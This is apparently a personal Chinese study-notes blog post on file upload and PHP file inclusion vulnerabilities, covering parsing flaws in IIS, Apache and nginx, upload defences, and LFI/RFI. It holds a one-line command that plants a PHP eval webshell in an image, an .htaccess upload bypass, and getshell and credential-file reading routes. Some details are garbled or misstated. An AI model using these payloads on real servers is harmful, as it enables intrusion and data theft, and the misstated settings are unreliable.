2019-11-11:文件上传,文件包含基础,笔记

linux下图片马制作命令:echo "<?php @eval($_POST['xxx']);?>" >> x.jpg

0x00截断绕过上传条件,php小于5.3.4,magic_quotes_gpc = Off

.htaccess绕过上传
<FilesMatch "cimer">
SetHandler application/x-httpd一php
</FilesMatch>

文件上传漏洞利用注意事项,文件可以上传,文件可以解析,上传路径需要知道

iis5-6解析漏洞
默认情况下,服务器或中间件解析了不是脚本常规文件的文件,但是确被解析了,导致隐藏在文件里的恶意代码被解析了,说明服务器或中间件出现了解析漏洞 iis: asp.asp/1.jpg文件目录解析漏洞,xx.asp;.jsp文件名解析漏洞
iis7.5解析漏洞
由于php配置文件,开启了cgi.fix_pathinfo,而这不是nginx或iis7.5本身漏洞,漏洞url: www.aa.com/images/1.jpg/1.php
apache解析漏洞
xxx.aspx.a;xxx.asp.jpg..jpg,因为从右向前解析,遇到不认识的后缀就跳过,直到可以解析的后缀,就会造成解析漏洞
在apache的conf中有一行配置 AddHandler application/x-httpd-php .php,造成解析漏洞,由于这行代码,会导致后缀带有php的文件都被解析成php脚本执行
nginx解析漏洞
nginx<8.03孔子姐代码执行漏洞,在后缀是.php的时候nginx就会将这个文件当成php执行,a.png/xx.php,cif.fix_pathinfo,开启,开启之后,a.png/xx.php,因为xx.php不存在,就会抹掉xx.php,但是还会向前解析,发现a.png文件之后会用php对a.png进行解析

文件上传漏洞的防御
1,文件上传的目录设置为不可执行
2,判断文件类型,综合多种检测方法,比如判断mime,后缀名检测,白名单
3,使用随机数改写文件路径
4,设置一个单独的文件服务器,严格控制权限
5,针对图片进行二次渲染
6,针对解析漏洞防御(上传+平台解析),升级iis为高版本,cgi.fix_pathinfo的设置,低版本的iis需要严格控制文件的上传,比如使用正则匹配配置写的文件和目录,针对apache解析漏洞,要注意升级版本,安全配置,针对Nginx的解析漏洞,要注意升级版本为高版本,fix_pathinfo要配置好
7,配合使用第三方防护工具,D盾/waf/云盾/云锁

文件包含漏洞
文件包含,引用打包的类,函数或文件等,方便使用者去调用,如果包含的文件是咩有被过滤或者过滤不严谨就会出现文件包含漏洞,包含的恶意代码就可能被解析
php主要通过特定函数去引入文件,引入的文件又没有进行合理的校验,最后导致恶意代码的注入,形成的条件:
1,参数用户可控,包含的文件名用户可控
2,服务端对包含的文件没有过滤,过滤不严谨

php中用来做文件包含的函数
include()函数
当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。
include_once():函数
功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次。
require()函数
require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。使用require()函数包含文件时,只要程序一执行,立即调用文件,而include()只有程序执行到该函数时才调用。
require_once()函数
它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

文件包含的分类
本地文件包含(LFI),指的服务端本地,会造成,敏感信息泄漏(配置文件/密码文件/数据库文件),getshell,命令执行等
远程文件包含(RFI),从目标服务器中去包含攻击者的远程服务器中恶意文件,会造成,敏感信息泄漏,getshell,命令执行等

文件包含漏洞利用
漏洞条件,本地文件包含漏洞,allow_url_include,allow_url_fopen 都为off没要求
远程文件包含,需要llow_url_include,allow_url_fopen 都为on没要求
allow_url_include 是否允许引用URL文件,激活 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等,默认开启 
allow_url_fopen 是否允许打开URL文件,该选项为on便是允许包含URL对象文件等,默认关闭
读敏感文件,如配置文件/etc/passwd/,/etc/shadow/,ssh_conf,.history等
getshell
1,直接通过文件包含向服务器中写入木马文件,需要为协议
2,文件上传图片马+文件包含
3,如果服务器开启了日志记录功能,可以包含这个日志文件可以getshell

posted @ 2019-11-12 08:35  bonga  阅读(155)  评论(0编辑  收藏  举报